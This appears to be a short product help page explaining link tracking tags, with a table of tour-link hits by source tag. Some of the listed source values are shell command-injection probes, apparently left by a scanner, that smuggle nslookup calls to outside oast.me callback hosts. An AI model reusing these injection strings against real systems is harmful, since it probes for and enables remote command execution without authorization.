When you post a link, you can add tracking tags.

A tracking tag lets you add information to a hit about where the visitor came from. For example, the "Take The Tour" button on the home page has a source=front-page tag on it. Here are the hits on the tour link, shown by source tags:

Period front-page tour-top-tab business-card tour-top-tab" N/A front-page" booktrakr tour-top-tab1;nslookup${IFS}ceeuabi4ln8je5bg1lggw9y3ccixrr4kx.oast.me;#${IFS}';nslookup${IFS}ceeuabi4ln8je5bg1lggw9y3ccixrr4kx.oast.me;#${IFS}";nslookup${IFS}ceeuabi4ln8je5bg1lggw9y3ccixrr4kx.oast.me;#${IFS} tour-top-tab&nslookup ceeuabi4ln8je5bg1lgg416gy833qmr3x.oast.me&'\"`0&nslookup ceeuabi4ln8je5bg1lgg416gy833qmr3x.oast.me&`' Total
Total 2780 1425 909 44 43 43 4 1 1 1 5251

Tags help you figure out where to focus your efforts. Do you get more traffic through Twitter or Facebook? From the front of an e-book or the back? If your links are properly tagged, you can tell.

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